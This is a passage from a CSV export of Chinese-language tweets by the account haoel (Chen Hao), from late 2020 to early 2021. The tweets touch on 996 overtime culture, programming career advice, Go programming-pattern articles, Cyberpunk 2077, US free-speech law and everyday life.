我感觉很多进安全圈的人动机是不纯的，他们进安全圈的初衷并不是想去保护什么，而是想去破解和偷窥别人的东西……,,https://twitter.com/haoel/status/1351024052446633996\n3464,1350652186645024769,2021-01-17 03:52:29+00:00,26,3,3,,Cyberpunk2077创始人出来道歉了，https://t.co/BG9Ip9DtEt 所以说，2022年底才是正确的release日期…… https://t.co/VHMtVm5VjW,\"[TextLink(text='youtu.be/O3V4UBZmC9o', url='https://youtu.be/O3V4UBZmC9o', tcourl='https://t.co/BG9Ip9DtEt', indices=(22, 45))]\",https://twitter.com/haoel/status/1350652186645024769\n3465,1350641099866480640,2021-01-17 03:08:26+00:00,33,8,4,,怪不得叫魔都，原来有“大魔王”……,,https://twitter.com/haoel/status/1350641099866480640\n3466,1350487768611184640,2021-01-16 16:59:09+00:00,0,0,0,,@shell909090 @womanchan 任盈盈,,https://twitter.com/haoel/status/1350487768611184640\n3467,1350386207125958656,2021-01-16 10:15:35+00:00,0,0,0,,@LeefireKing 你看这不就又学会一个词，和一个相关的文化了……,,https://twitter.com/haoel/status/1350386207125958656\n3468,1350341713689100288,2021-01-16 07:18:47+00:00,3,0,2,,@laixintao 😂😂😂🥳🥰,,https://twitter.com/haoel/status/1350341713689100288\n3469,1350337545318502401,2021-01-16 07:02:13+00:00,9,0,0,,@summer75746663 硬学技术的人，通常来说都是不服输的人👍,,https://twitter.com/haoel/status/1350337545318502401\n3470,1350335683739619328,2021-01-16 06:54:49+00:00,150,18,9,,几年前有个程序员问我，他说，他不太确定自己适不适合编程，因为遇到了很多瓶颈点，一些比较深的技术书看不懂。我跟他说，要不然你这样，找个学习曲线大的书或技术，如《TCP/IP详解》或是C++或k8s，不管用多少时间都要咬牙学完，而且要全部搞懂，不能囫囵。到那时，相信你自己能够得出答案……#禅师 😎,,https://twitter.com/haoel/status/1350335683739619328\n3471,1350330662599884800,2021-01-16 06:34:52+00:00,324,48,13,,别在一开始就否定自己，觉得自己不行做不到。快速的否定自己，给自己找个借口固然可以让自己获得短暂的轻松感，但是这样一来，自己的人生也会越活面越窄，越活可性能越少，多花点时间计划一下如何让自己能够做到，路径是什么，要的技能是什么，你会发现很多事也并不是这么难……别给自己设限。 #鸡汤,,https://twitter.com/haoel/status/1350330662599884800\n3472,1350294890253438976,2021-01-16 04:12:43+00:00,0,0,1,,@huoshichen 那也还是以法律的角度思考……,,https://twitter.com/haoel/status/1350294890253438976\n3473,1350288520737296388,2021-01-16 03:47:25+00:00,23,7,0,,天冷的地方需要用颤音……哈哈,,https://twitter.com/haoel/status/1350288520737296388\n3474,1350287726524968962,2021-01-16 03:44:15+00:00,1,0,0,,@chenshaoju 建议512,,https://twitter.com/haoel/status/1350287726524968962\n3475,1350283068452470784,2021-01-16 03:25:45+00:00,66,4,8,,很多时候，我会觉得在讨论一件大是大非且有争议的事情的时候，从法律的角度来思考和讨论，可能会是一种更为成熟的表现……,,https://twitter.com/haoel/status/1350283068452470784\n3476,1350013494800707585,2021-01-15 09:34:33+00:00,1,0,0,,@strangeyoung 那也得上完五年级啊,,https://twitter.com/haoel/status/1350013494800707585\n3477,1350012614491815936,2021-01-15 09:31:03+00:00,58,0,3,,@sinoon1218 我焦虑的点不在这里，我焦虑的是孩子的童年感觉没玩好，长大后可能可能会没想法……,,https://twitter.com/haoel/status/1350012614491815936\n3478,1350011397007048704,2021-01-15 09:26:13+00:00,169,7,26,,参加孩子家长会，会后，老师说班上一个女同学（学霸）下学期（五年级）直接升初中了，同学们一起照个相……孩子们照相的时候，我观察了下周边……感觉家长们似乎都有点焦虑……😂😂,,https://twitter.com/haoel/status/1350011397007048704\n3479,1349974181564149760,2021-01-15 06:58:20+00:00,34,3,3,,我对取得赢得这场惊心动魄故障的 Flash29 产生了很大的好奇，为了成为高手，我简单搜了一下就找到了，百度网盘：https://t.co/4Z01VhouXH  提取码：kkmq （注：安装时要断网）,\"[TextLink(text='pan.baidu.com/s/1Be7Nzi1PyBz…', url='https://pan.baidu.com/s/1Be7Nzi1PyBz_uZljc1YyEA', tcourl='https://t.co/4Z01VhouXH', indices=(57, 80))]\",https://twitter.com/haoel/status/1349974181564149760\n3480,1349958177207406594,2021-01-15 05:54:45+00:00,21,2,1,,图片都被压缩的不行了，看源头这里吧：https://t.co/RqS5a7k9Bn,\"[TextLink(text='weibo.com/1668726803/JDc…', url='https://weibo.com/1668726803/JDclcgigy', tcourl='https://t.co/RqS5a7k9Bn', indices=(18, 41))]\",https://twitter.com/haoel/status/1349958177207406594\n3481,1349945495540572160,2021-01-15 05:04:21+00:00,144,23,26,,为什么我这么想笑？看到无助蒙逼的技术员，笑点十足…… https://t.co/rjTesQmUCI,,https://twitter.com/haoel/status/1349945495540572160\n3482,1349656686785560581,2021-01-14 09:56:44+00:00,172,16,22,,\"对于人和社会来说，越来越觉得：\n\n过去发生过的事，未来会有很大概率再发生，\n过去没有发生过的事，未来也基本不会发生。\",,https://twitter.com/haoel/status/1349656686785560581\n3483,1349541394105307142,2021-01-14 02:18:36+00:00,34,8,2,,这样的设计和回复脑洞真大……,,https://twitter.com/haoel/status/1349541394105307142\n3484,1349002619637829632,2021-01-12 14:37:42+00:00,1,0,1,,@draven0xff 槽点是？,,https://twitter.com/haoel/status/1349002619637829632\n3485,1348649588819775489,2021-01-11 15:14:53+00:00,142,23,8,,加班演进史 https://t.co/qSa7X4ZBsu,,https://twitter.com/haoel/status/1348649588819775489\n3486,1348637552257847303,2021-01-11 14:27:03+00:00,52,4,3,,\"在iPhone 7上跑Ubuntu 20.04 https://t.co/0vYUnHqOdL\n\n相关配置说明 https://t.co/PDxHYEqzCO\",\"[TextLink(text='youtu.be/DrntxWqDuvI', url='https://youtu.be/DrntxWqDuvI', tcourl='https://t.co/0vYUnHqOdL', indices=(24, 47)), TextLink(text='reddit.com/r/linux/commen…', url='https://www.reddit.com/r/linux/comments/kux9xx/success_iphone_7_with_dead_nand_netbooting/', tcourl='https://t.co/PDxHYEqzCO', indices=(56, 79))]\",https://twitter.com/haoel/status/1348637552257847303\n3487,1348598116082016258,2021-01-11 11:50:21+00:00,19,1,10,,5aaC5L2V6K6p6YKj5Lqb5LiN5oeC5oqA5pyv5Lq655yL6LW35p2l5YOP5LiA5Liq6bq755Oc77yfCg,,https://twitter.com/haoel/status/1348598116082016258\n3488,1348544382945816576,2021-01-11 08:16:50+00:00,152,13,8,,你要问拼多多，有没有996，他们会说，我们没有啊，我们是每月300小时工作制…… https://t.co/4mgfV9Nuv5,,https://twitter.com/haoel/status/1348544382945816576\n3489,1348542888418820102,2021-01-11 08:10:53+00:00,0,0,0,,@gentboy 看来还是我没写好，没让人感到其中的讽刺,,https://twitter.com/haoel/status/1348542888418820102\n3490,1348282435742547969,2021-01-10 14:55:57+00:00,1,0,0,,@dallaslu @shell909090 这个还真不是，现在的审查都是系统直接，不然太慢了,,https://twitter.com/haoel/status/1348282435742547969\n3491,1348259972576989184,2021-01-10 13:26:41+00:00,1,0,0,,@covfefe_zdd 没有，是他的加入微软的时候，在大学时就已经在开始卖自己的软件。然后到微软的时候，跟微软说希望可以有做公司的室友买自己的软件，微软同意了。后来自己做的软件被微软收购了。微软和他自己都觉得很尴尬。,,https://twitter.com/haoel/status/1348259972576989184\n3492,1348213689707417605,2021-01-10 10:22:46+00:00,37,8,4,,一个很有意思的故事——作者做了一个软件被自己的公司收购了……https://t.co/4qKrUILmvw,\"[TextLink(text='youtube.com/watch?v=aQUtUQ…', url='https://www.youtube.com/watch?v=aQUtUQ_L8Yk', tcourl='https://t.co/4qKrUILmvw', indices=(30, 53))]\",https://twitter.com/haoel/status/1348213689707417605\n3493,1348207077605273601,2021-01-10 09:56:30+00:00,4,0,1,,@mranti 我就说怎么会有好多顶着川普头像的人来我这回复我……,,https://twitter.com/haoel/status/1348207077605273601\n3494,1348130868171141125,2021-01-10 04:53:40+00:00,0,0,0,,@paulagent @gehouhun 也许你觉得不严谨，但是我从前到后想说的就是这个事。另外，我主要想表的是，说清楚中文圈搞不清的问题——美国有没有言论自由,,https://twitter.com/haoel/status/1348130868171141125\n3495,1348128226741141504,2021-01-10 04:43:10+00:00,23,1,2,,\"注：我的相关信息来源全来自美国的主流媒体，而不是中文区，去年5月份川普针对230行政命令时，美国就有过大讨论了，其中就有很多法律专家说这个行政命令就是违反第一修正案的：\nhttps://t.co/8rKDHSXqJ2\n\nhttps://t.co/6XBnohb4o7\",\"[TextLink(text='washingtonpost.com/technology/202…', url='https://washingtonpost.com/technology/2020/05/28/trump-social-media-executive-order/', tcourl='https://t.co/8rKDHSXqJ2', indices=(85, 108)), TextLink(text='eff.org/deeplinks/2020…', url='https://eff.org/deeplinks/2020/05/trump-executive-order-misreads-key-law-promoting-free-expression-online-and', tcourl='https://t.co/6XBnohb4o7', indices=(110, 133))]\",https://twitter.com/haoel/status/1348128226741141504\n3496,1348127237069959170,2021-01-10 04:39:14+00:00,1,0,1,,\"@gehouhun 我的信息来源全来自美国的主流媒体，去年的230条款的讨论中就有很多法律专家说废除230就违返1A的。转你几篇报道看看：\nhttps://t.co/5f53e8rJUy\n\nhttps://t.co/y3iudoT1ZV\",\"[TextLink(text='washingtonpost.com/technology/202…', url='https://www.washingtonpost.com/technology/2020/05/28/trump-social-media-executive-order/', tcourl='https://t.co/5f53e8rJUy', indices=(70, 93)), TextLink(text='eff.org/deeplinks/2020…', url='https://www.eff.org/deeplinks/2020/05/trump-executive-order-misreads-key-law-promoting-free-expression-online-and', tcourl='https://t.co/y3iudoT1ZV', indices=(95, 118))]\",https://twitter.com/haoel/status/1348127237069959170\n3497,1348118433175535621,2021-01-10 04:04:15+00:00,43,6,13,,所以，川普团队一直都想废了230条款，因为他们认为平台利用了这个条款来左右大众的舆论，甚至制造谣言和假新闻来黑川普，所以川普觉得很很不公平。然而，具有讽刺意味的是，如果川普这么干了，这恰恰违返了《第一修正案》中的限制政府干涉言论自由的规定……,,https://twitter.com/haoel/status/1348118433175535621\n3498,1348118431774568451,2021-01-10 04:04:15+00:00,37,8,2,,其次，美国还有一个计算机的230条款（https://t.co/0piDwUhfSw），其保护了社交平台1）不必对其用户发布的内容负责，2）可以按照自己的政策调整网站内容和相关用户。所以，就算川普上讼，也没有任何可以赢的面。所以，社交媒体是按自己的政策来进行封号的，不但没有法律问题，而且还有法律支持。,\"[TextLink(text='eff.org/issues/cda230', url='https://www.eff.org/issues/cda230', tcourl='https://t.co/0piDwUhfSw', indices=(19, 42))]\",https://twitter.com/haoel/status/1348118431774568451\n3499,1348118430256254978,2021-01-10 04:04:15+00:00,92,17,24,,这两天都在说川普被禁言和言论自由的问题，美国是一个法律国家，还是先了解美国法律。首先，宪法《第一修正案》说的是“禁止美国国会制订任何法律以剥夺言论自由新闻自由与集会自由”。注意，法案明确的限制的是政府（但有一些例外情况）。但大众会误解它适用于任何个体和非政府实体限制言论自由的情况。,,https://twitter.com/haoel/status/1348118430256254978\n3500,1348071859971973122,2021-01-10 00:59:12+00:00,0,0,1,,@youyuxi 小米的 https://t.co/bQMsKqefsx,\"[TextLink(text='item.m.jd.com/product/100009…', url='https://item.m.jd.com/product/100009909852.html', tcourl='https://t.co/bQMsKqefsx', indices=(13, 36))]\",https://twitter.com/haoel/status/1348071859971973122\n3501,1347909602931740672,2021-01-09 14:14:26+00:00,0,0,0,,@GIA917229015 可以,,https://twitter.com/haoel/status/1347909602931740672\n3502,1347892249519026179,2021-01-09 13:05:29+00:00,73,0,4,,终于搞定…… https://t.co/tsPIXYaewQ,,https://twitter.com/haoel/status/1347892249519026179\n3503,1347889787424788480,2021-01-09 12:55:42+00:00,7,1,0,,@Jayden74764608 https://t.co/mdOTsYdude,\"[TextLink(text='github.com/haoel/haoel.gi…', url='https://github.com/haoel/haoel.github.io', tcourl='https://t.co/mdOTsYdude', indices=(16, 39))]\",https://twitter.com/haoel/status/1347889787424788480\n3504,1347752948281954305,2021-01-09 03:51:57+00:00,48,0,11,,900+片啊，谁给我寄的？分明就是不想让我过个好周末…… https://t.co/DFkGujM89O,,https://twitter.com/haoel/status/1347752948281954305\n3505,1347198530830491649,2021-01-07 15:08:54+00:00,14,2,1,,刺客信条之主神殿,,https://twitter.com/haoel/status/1347198530830491649\n3506,1347196863351463936,2021-01-07 15:02:16+00:00,18,2,2,,@xicilion 难道不是我当年挖了50个比特币，然后因为硬盘空间不够，删了么……,,https://twitter.com/haoel/status/1347196863351463936\n3507,1347186126834991105,2021-01-07 14:19:36+00:00,943,42,51,,一个优秀的大学毕业生，2016年我劝他离开互联网公司，后来去了微软，现在准备开始另一段新的旅程……由衷为之高兴…… https://t.co/ILlFKraaey,,https://twitter.com/haoel/status/1347186126834991105\n3508,1347152590379749377,2021-01-07 12:06:21+00:00,2,0,0,,@kevinzhow 来来来，我告诉三个结局是什么……,,https://twitter.com/haoel/status/1347152590379749377\n3509,1347114471215403010,2021-01-07 09:34:52+00:00,1,0,2,,@tinyfool 我是每次都要扯下口罩……,,https://twitter.com/haoel/status/1347114471215403010\n3510,1347088964600008705,2021-01-07 07:53:31+00:00,12,0,8,,\"邮件通知哪家强？（注：图为用gmail的filter打标签后的结果）\n\nP.S. 国外的站点还是很喜欢使用邮件通知的方式，让人感觉很“商务”…… https://t.co/3qwYqylLs0\",,https://twitter.com/haoel/status/1347088964600008705\n3511,1347029077039828992,2021-01-07 03:55:33+00:00,10,0,0,,@lidangzzz @wangyidao1 有点像是我说的，哈哈。,,https://twitter.com/haoel/status/1347029077039828992\n3512,1346990064694251523,2021-01-07 01:20:31+00:00,0,0,0,,@rwfholme 感觉不写代码😅,,https://twitter.com/haoel/status/1346990064694251523\n3513,1346823750977683457,2021-01-06 14:19:39+00:00,41,2,5,,收到样书了，目录如下，这算是得到采编的一本书（不算是我写的，所以卖再多我也没提成），其中我的部分有40%是对我的采访，60%是我博客的汇编。 https://t.co/K8YuIJYMKZ,,https://twitter.com/haoel/status/1346823750977683457\n3514,1346653050774011904,2021-01-06 03:01:21+00:00,277,33,10,,我们学计算机当程序员最大的福气不是可以到大公司里加班和996，而是我们生活在了第三次工业革命的信息化时代，这才是最大的福气，所以，我们应该努力地提升自己，而不是把自己当劳动力一样的卖了！在这样的一个时代，你要做的不是通过加班和拼命来跪着挣钱，而是通过技能来躺着挣钱。,,https://twitter.com/haoel/status/1346653050774011904\n3515,1346653049293402113,2021-01-06 03:01:21+00:00,109,18,5,,\"回想一下我以前在职场上的很多关键点，不是因为我加班了，而是因为在某些关键问题上，我跳出来解决了其它人都解决不了的问题，而我失败的时候，总是因为我搞不定事，即便是加班拼命努力也无济于事！\n\n这就好像算法一样，你那个O(n^2)的递归穷举算法，再怎么样也干不过我的O(n)的动态规划的算法。\",,https://twitter.com/haoel/status/1346653049293402113\n3516,1346653047502430214,2021-01-06 03:01:20+00:00,17,4,1,,\"继续把我这篇文章再翻出来，摘几句话：\n\n“努力就会成功，勤劳就会致富”，不但符合那些低级管理者的利益诉求，同样符合那些能力不足不愿意学习和成长的人的诉求。因为，他们混淆了行动与进展，忙碌与多产，他们以为能靠蛮力可以弥补思维上的惰性，靠拼命可以弥补能力上的不足……\",,https://twitter.com/haoel/status/1346653047502430214\n3517,1346613001592311808,2021-01-06 00:22:13+00:00,76,5,23,,微博上某人的回复。你看，他也知道：你不996，自有更低端的人会996，但是，他们得出来的方法是，要与低端的人竞争的手段，就是要去做低端人比你还能干的事一一加班，如果是头驴来替代你，那你也没得选，得把自己变成驴么？ https://t.co/OOQsU7hcsO,,https://twitter.com/haoel/status/1346613001592311808\n3518,1346487919628886016,2021-01-05 16:05:11+00:00,97,1,7,,我一回到家，孩子就把我的电脑拿出来，打开Chrome，输入YouTube，然后关键字搜索视频……然后，时间线上全是小女生的视频……我自己感觉都清新了很多…… https://t.co/RfiopVOSgc,,https://twitter.com/haoel/status/1346487919628886016\n3519,1346449688614957056,2021-01-05 13:33:16+00:00,180,21,55,,这是前两天在“极客时间”里面看到了一个投票，有半数以上的程序员都投给了“愿意高薪996”，这些程序员朋友感觉很“缺心眼”啊一一996明显是压榨型的工作方式！人家都在压榨你了，你还期望压榨你的人给你高薪 ？！ https://t.co/TFxoGhuDjU,,https://twitter.com/haoel/status/1346449688614957056\n3520,1346432546934988800,2021-01-05 12:25:09+00:00,100,1,19,,明天北京-11到-18度，这种天气下，按我的性格，应该是要给北京的同学放个假的，但可惜公司已经支持远程工作，所以，没什么理由还放一天假了……🤪,,https://twitter.com/haoel/status/1346432546934988800\n3521,1346329696502382595,2021-01-05 05:36:27+00:00,28,0,1,,@uglybobangybob “学习人的思考方式”那不就是为了变成人么……另外，本推追求的是一种表达方式，用来讽刺，而不是讨论技术问题……,,https://twitter.com/haoel/status/1346329696502382595\n3522,1346096980867465216,2021-01-04 14:11:44+00:00,2147,350,71,,\"这年代最讽刺的事是一一\n\n人不知疲倦地996重复劳动，\n让自己变成机器\n\n机器不断地训练学习提升智能，\n让自己变成人\",,https://twitter.com/haoel/status/1346096980867465216\n3523,1346026239459397633,2021-01-04 09:30:38+00:00,36,3,3,,#Cyberpunk2077 主线剧情里有个酒店是反派“荒坂赖宣”召妓的地方，中文翻译叫“紺碧大厦”，在中文配音下听到这酒店名的人应该都会WTF……看了一下官方介绍https://t.co/Wox02tIsgZ，日文名叫“紺碧プラザ”，官方和Google的英文翻译叫“紺碧“为Azure，所以，微软的 #Azure 云计算平台应该叫”紺碧云“……,\"[TextLink(text='cyberpunk.fandom.com/wiki/Konpeki_P…', url='https://cyberpunk.fandom.com/wiki/Konpeki_Plaza', tcourl='https://t.co/Wox02tIsgZ', indices=(82, 105))]\",https://twitter.com/haoel/status/1346026239459397633\n3524,1345974653022392320,2021-01-04 06:05:38+00:00,80,17,4,,\"@janlay Standard Procedure\n\niPhone出了问题：\n第一步，重启\n第二步，升级\n第三步，还原设置\n\nMac出了问题：\n第一步，重启\n第二步，Ctrl+Shift+Option+电源30秒\n第三步，Cmd+Option+R+P 开机\n第四步，创建新的管理员用户\n第五步，Cmd+R 开机，重装系统\",,https://twitter.com/haoel/status/1345974653022392320\n3525,1345760008277954562,2021-01-03 15:52:43+00:00,45,4,8,,说起谈人生的动画片，有两个是令我很触动的，一个是《飞屋环游记》，另一个是《寻梦环游记》……,,https://twitter.com/haoel/status/1345760008277954562\n3526,1345751606583721984,2021-01-03 15:19:20+00:00,2,1,0,,\"@tinyfool 古今中外大乱斗\n\nhttps://t.co/SUr5EOf4lK\",\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1344232369134321664?s=21', tcourl='https://t.co/SUr5EOf4lK', indices=(19, 42))]\",https://twitter.com/haoel/status/1345751606583721984\n3527,1345748047658012673,2021-01-03 15:05:12+00:00,48,2,32,,看完《心灵奇旅》，不知道为什么评价这么高。点没get到，感觉没被击中（不如之前的《疯狂原始人2》）。这电影是说“人生不必追求什么意义，用心过好每一天，不要像僵尸一样活着”么？老实说，这样的道理听着太多了，疲劳且免疫了……求助下，大家把我当成get不到点的22号，跟我说说这电影的spark是啥？,,https://twitter.com/haoel/status/1345748047658012673\n3528,1345616143843659777,2021-01-03 06:21:03+00:00,69,7,0,,无语……只能笑了……,,https://twitter.com/haoel/status/1345616143843659777\n3529,1345614807668465665,2021-01-03 06:15:45+00:00,17,2,21,,不知道为什么，我把这个视频转到微博上结果视频被删了。这个视频有什么问题吗？,,https://twitter.com/haoel/status/1345614807668465665\n3530,1345300784183873537,2021-01-02 09:27:56+00:00,10,0,0,,@zjn131452 吃碗粥还能看个大片，值了,,https://twitter.com/haoel/status/1345300784183873537\n3531,1345298426385166336,2021-01-02 09:18:33+00:00,170,24,22,,没有哪部电影能把打群架的场面拍的如此出色……艺术完全不如生活，甚至低于生活……,,https://twitter.com/haoel/status/1345298426385166336\n3532,1344992511341707265,2021-01-01 13:02:58+00:00,26,0,2,,\"最大的问题有几个：\n1）我的Xbox One 画质不行，《荒野大镖客2》随便秒它。感觉是技术上不行。\n2）好好的主线剧情被支线剧情冲得个稀碎。\n3）不分时间场合随时打电话来让你做支线任务，感觉就是保销房产中介给你的垃圾营销电话。\n4）各种明显的Bug，不认真\n\n总结：这游戏明显就是一个半成品！\n\n(2/2)\",,https://twitter.com/haoel/status/1344992511341707265\n3533,1344992509148086272,2021-01-01 13:02:57+00:00,33,0,2,,\"终有时间玩 #Cyberpunk2077 了，玩了一天通关了。对该游戏感觉如下（分两推Pros/Cons）\n\n好的地方是：\n1）剧情/世界观/对白(配音)/场景/音乐/创意都很好。\n2）服装/武器/机车/义体/超梦/技能 可玩性很高。\n3）第一人称视角和剧本的确能认人入戏。\n4）拍成电影或是剧集豆瓣上应该也是8.5分起。\n\n（1/2)\",,https://twitter.com/haoel/status/1344992509148086272\n3534,1344857500084961281,2021-01-01 04:06:28+00:00,1,0,0,,@johnthu 🤝,,https://twitter.com/haoel/status/1344857500084961281\n3535,1344818442960916482,2021-01-01 01:31:16+00:00,30,2,2,,书中主要介绍那些朴实无华且枯燥的程序员的工作……,,https://twitter.com/haoel/status/1344818442960916482\n3536,1344817232132468736,2021-01-01 01:26:28+00:00,378,24,22,,与得到合作写了本书，主要是给准备要入行的同学看的…… https://t.co/yJYi1nFBZg,,https://twitter.com/haoel/status/1344817232132468736\n3537,1344813186684342272,2021-01-01 01:10:23+00:00,91,7,9,,云A，我老家的车牌……,,https://twitter.com/haoel/status/1344813186684342272\n3538,1344677481568034817,2020-12-31 16:11:09+00:00,122,4,8,,新年快乐🍾️🎊🎈🎉 https://t.co/oIKBe8EvNw,,https://twitter.com/haoel/status/1344677481568034817\n3539,1344622130491637762,2020-12-31 12:31:12+00:00,36,8,3,,Google 的前产品经理吐槽为什么Google云计算没做好……,,https://twitter.com/haoel/status/1344622130491637762\n3540,1344518989012033536,2020-12-31 05:41:21+00:00,29,0,2,,@menduo 于正的感觉抄的是郭敬明的……,,https://twitter.com/haoel/status/1344518989012033536\n3541,1344517698806378497,2020-12-31 05:36:13+00:00,415,24,32,,不知为什么，我觉得郭敬明的道歉信也是抄的……,,https://twitter.com/haoel/status/1344517698806378497\n3542,1344325093376229383,2020-12-30 16:50:53+00:00,37,4,10,,有人发现苹果的代码里真的出现人为降低处理速度的代码，也就是在代码里加sleep。不过也有人指出降低UX速度，可以让人觉得更可信（https://t.co/xFCcM01lCQ）就像你上餐馆点菜，刚点完，菜就上来，你会觉得这菜一定别人退的……,\"[TextLink(text='fastcompany.com/3061519/the-ux…', url='https://www.fastcompany.com/3061519/the-ux-secret-that-will-ruin-apps-for-you', tcourl='https://t.co/xFCcM01lCQ', indices=(64, 87))]\",https://twitter.com/haoel/status/1344325093376229383\n3543,1344315662018048000,2020-12-30 16:13:24+00:00,3,0,1,,@bigzhu 学我，买个Xbox,,https://twitter.com/haoel/status/1344315662018048000\n3544,1344313748287225861,2020-12-30 16:05:48+00:00,1,0,0,,@bigzhu 推荐系统有点对我不友好，没歌词，搜个november rain，居然吴亦凡的排在gun &amp;rose的前面，我买的印度会员，全是印度歌😂……不过曲库很大，音质也不错……,,https://twitter.com/haoel/status/1344313748287225861\n3545,1344281539132080129,2020-12-30 13:57:49+00:00,1,0,2,,@bigzhu YouTube Music不行,,https://twitter.com/haoel/status/1344281539132080129\n3546,1344240362752151554,2020-12-30 11:14:11+00:00,174,24,9,,推友们今年辛苦了…… https://t.co/O9xxMykwPs,,https://twitter.com/haoel/status/1344240362752151554\n3547,1344234231652708353,2020-12-30 10:49:50+00:00,1,0,0,,@naughtyyaya 相对论的核心假设之一，光速不变假设，也遭到严厉批判：该假设意味着“资本主义社会是人类终极社会，垄断资本主义生产力不可超越，西方科学是人类科学的极限”。,,https://twitter.com/haoel/status/1344234231652708353\n3548,1344232369134321664,2020-12-30 10:42:26+00:00,179,38,9,,1933年爱因斯坦走访美国，但他并没有返回德国，并且返还德国护照，宣布再度放弃德国国籍。1940年，他定居美国，随后成为美国公民。此举被视为叛逃，纳粹政府在国内焚烧他的著作，报纸称他为『德国人民的敌人』并公开悬赏他的人头……（p.s. 我国当年长时间的批判过爱因斯坦和相对论……）,,https://twitter.com/haoel/status/1344232369134321664\n3549,1344200415064178688,2020-12-30 08:35:27+00:00,18,0,0,,@tinyfool 欲悲闻鬼叫，我哭豺狼笑。,,https://twitter.com/haoel/status/1344200415064178688\n3550,1344155155483119618,2020-12-30 05:35:36+00:00,191,23,32,,这些问题，恐怕好些“工作多年的程序员”都不一定搞得定…… https://t.co/6VW32Olw1D,,https://twitter.com/haoel/status/1344155155483119618\n3551,1344100219059724288,2020-12-30 01:57:19+00:00,307,13,35,,昨天出门差点被冷风把我耳朵给吹掉了，今天本该吸取教训带个帽子的，但是我这个人就是不喜欢带帽子，因为在程序员圈子里，头上有头发这个事，是要经常拿来炫耀的……这和冬天女人还穿短裙子一个道理……,,https://twitter.com/haoel/status/1344100219059724288\n3552,1343800911542403074,2020-12-29 06:07:58+00:00,28,4,2,,一般来说，广告有两种，一种就是宣传新的产品，所以会以功能为主；另一种则不是，看上去很傻，就像脑白金一样，这种基本上是用来过滤用户的。其实，很多骗子发的邮件或是短信都是属于后者（那怕用前者作伪装），目的就只是为了过滤出那些或又贪又笨，或善良而无防备心，或是易煽动而不会思考的人……,,https://twitter.com/haoel/status/1343800911542403074\n3553,1343575239595212801,2020-12-28 15:11:14+00:00,18,0,4,,Github的这个Discussions 是不是在灰度测试中？ https://t.co/y7kiKyEKYI,,https://twitter.com/haoel/status/1343575239595212801\n3554,1343153772126556160,2020-12-27 11:16:28+00:00,22,5,2,,真硬核,,https://twitter.com/haoel/status/1343153772126556160\n3555,1342848610224930817,2020-12-26 15:03:52+00:00,1,0,1,,@xuing37 @cXTDO 看我之前的推……,,https://twitter.com/haoel/status/1342848610224930817\n3556,1342848439244054529,2020-12-26 15:03:11+00:00,62,7,2,,上YouTube 一搜就找了，真有意思，希望老哥俩健康长寿 https://t.co/UnuBUzNJXQ https://t.co/9fDCNHhxqu,\"[TextLink(text='youtu.be/EY6q5dv_B-o', url='https://youtu.be/EY6q5dv_B-o', tcourl='https://t.co/UnuBUzNJXQ', indices=(30, 53))]\",https://twitter.com/haoel/status/1342848439244054529\n3557,1342844342164078592,2020-12-26 14:46:54+00:00,564,74,19,,为了整个让磁盘跑快一点的程序，结果感觉离写好一个操作系统只能需要三周，一个代码编辑器，一个编译器，还有一个shell，一周撸一个，还正好又碰上老婆休假外出这种天赐良机，技术宅由此改变世界……Ken请收下我的膝盖…… https://t.co/AODRdQOR6f,,https://twitter.com/haoel/status/1342844342164078592\n3558,1342797879350476801,2020-12-26 11:42:17+00:00,4,1,0,,@trubleresolver 这不是给入门者看的，这是给进阶者看的。,,https://twitter.com/haoel/status/1342797879350476801\n3559,1342795331684057089,2020-12-26 11:32:09+00:00,258,46,4,,\"Go 编程模式：Go Generation\nhttps://t.co/GINwAxKtHt\nGo编程模式：修饰器\nhttps://t.co/6V3Mns3HEZ\nGo编程模式：Pipeline\nhttps://t.co/GuimWVMq7m\nGo 编程模式：k8s Visitor 模式\nhttps://t.co/BYogL6Wvga\",\"[TextLink(text='coolshell.cn/articles/21179…', url='https://coolshell.cn/articles/21179.html', tcourl='https://t.co/GINwAxKtHt', indices=(22, 45)), TextLink(text='coolshell.cn/articles/17929…', url='https://coolshell.cn/articles/17929.html', tcourl='https://t.co/6V3Mns3HEZ', indices=(57, 80)), TextLink(text='coolshell.cn/articles/21228…', url='https://coolshell.cn/articles/21228.html', tcourl='https://t.co/GuimWVMq7m', indices=(97, 120)), TextLink(text='coolshell.cn/articles/21263…', url='https://coolshell.cn/articles/21263.html', tcourl='https://t.co/BYogL6Wvga', indices=(144, 167))]\",https://twitter.com/haoel/status/1342795331684057089\n3560,1342795330211913731,2020-12-26 11:32:09+00:00,825,183,22,,\"终于成文完毕一共9篇\n\nGo编程模式：切片，接口，时间和性能\n https://t.co/6XpzTBuAJw\nGo 编程模式：错误处理\nhttps://t.co/J0Kq7iUNO3\nGo 编程模式：Functional Options\nhttps://t.co/CuMrFXGGEQ\nGo编程模式：委托和反转控制\nhttps://t.co/vCO54lbtfC\nGo编程模式：Map-Reduce\nhttps://t.co/pmvpbkgYZI\",\"[TextLink(text='coolshell.cn/articles/21128…', url='https://coolshell.cn/articles/21128.html', tcourl='https://t.co/6XpzTBuAJw', indices=(32, 55)), TextLink(text='coolshell.cn/articles/21140…', url='https://coolshell.cn/articles/21140.html', tcourl='https://t.co/J0Kq7iUNO3', indices=(69, 92)), TextLink(text='coolshell.cn/articles/21146…', url='https://coolshell.cn/articles/21146.html', tcourl='https://t.co/CuMrFXGGEQ', indices=(120, 143)), TextLink(text='coolshell.cn/articles/21214…', url='https://coolshell.cn/articles/21214.html', tcourl='https://t.co/vCO54lbtfC', indices=(159, 182)), TextLink(text='coolshell.cn/articles/21164…', url='https://coolshell.cn/articles/21164.html', tcourl='https://t.co/pmvpbkgYZI', indices=(201, 224))]\",https://twitter.com/haoel/status/1342795330211913731\n3561,1342666381360164864,2020-12-26 02:59:45+00:00,10,0,1,,这得有多无聊啊……,,https://twitter.com/haoel/status/1342666381360164864\n3562,1342518952757358592,2020-12-25 17:13:55+00:00,2,0,0,,@nishuang 我就想知道电池续航多久，重量几公斤？,,https://twitter.com/haoel/status/1342518952757358592\n3563,1342294573209423874,2020-12-25 02:22:19+00:00,11,0,1,,@cyn0sure2 是的，让我帮写个序,,https://twitter.com/haoel/status/1342294573209423874\n3564,1342283383360036864,2020-12-25 01:37:51+00:00,171,15,16,,看这书名，我还以为是我的blog出版了🤣，原来作者是AWK的W…… https://t.co/dEYgHQmZ2K,,https://twitter.com/haoel/status/1342283383360036864\n3565,1342132451624153088,2020-12-24 15:38:06+00:00,2,0,0,,我居然看了5分钟……,,https://twitter.com/haoel/status/1342132451624153088\n3566,1342010316582875136,2020-12-24 